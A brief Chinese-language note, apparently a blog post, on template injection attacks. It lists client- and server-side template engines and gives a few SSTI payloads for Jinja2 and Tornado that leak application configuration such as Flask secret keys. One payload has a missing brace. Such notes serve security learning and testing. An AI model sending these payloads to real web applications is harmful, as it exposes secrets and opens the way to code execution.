模板注入各种姿势

模板注入类型

客户端模板引擎:主要结合js实现html,一种是常规字符串模板引擎,包括doT.js、dust.js、mustache.js;另一种是Dom模板引擎,包括vue.js、Angular.js、React.js等。
服务端模板引擎:由各服务端语言生成html返回客户端,主要包括:
PHP:Smarty、Twig;

Java:Freemarker、Velocity;

Python:Jinja2、Tornado、Marko;

Ruby:Slim、ERB;

NodeJS:Jade等

https://cloud.tencent.com/dev...

攻击手法及步骤

对于模板注入漏洞的研究可以参考SQL注入,客户端的模板注入(CSTI)只能XSS,而服务端模板注入(SSTI)则可能造成XSS、LFI和任意代码执行。

python下jinja姿势
{{url_for.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['current_app'].config}
{{app.config}}
__subclasses__() 以及 configself.__dict__

python tarnodo
{{handler.settings}}

你可能感兴趣的:(web安全)